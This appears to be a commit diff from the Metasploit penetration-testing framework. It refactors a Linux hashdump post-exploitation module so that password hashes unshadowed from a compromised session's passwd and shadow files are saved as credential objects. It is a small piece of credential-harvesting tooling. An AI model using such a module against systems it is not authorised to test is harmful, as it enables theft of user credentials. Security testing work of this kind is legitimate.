refactor linux hashdump post module
linux hashdump now saves hashes as nonreplayable hash credential objectsbug/bundler_fix
parent
4d53c18ac4
commit
534c20d5e6
|
@ -38,6 +38,19 @@ class Metasploit3 < Msf::Post
|
|||
# Unshadow the files
|
||||
john_file = unshadow(passwd_file, shadow_file)
|
||||
john_file.each_line do |l|
|
||||
hash_parts = l.split(':')
|
||||
|
||||
credential_data = {
|
||||
jtr_format: 'md5,des,bsdi,crypt',
|
||||
origin_type: :session,
|
||||
post_reference_name: self.refname,
|
||||
private_type: :nonreplayable_hash,
|
||||
private_data: hash_parts[1],
|
||||
session_id: session_db_id,
|
||||
username: hash_parts[0],
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
create_credential(credential_data)
|
||||
print_good(l.chomp)
|
||||
end
|
||||
# Save pwd file
|
||||
|
|
Loading…
Reference in New Issue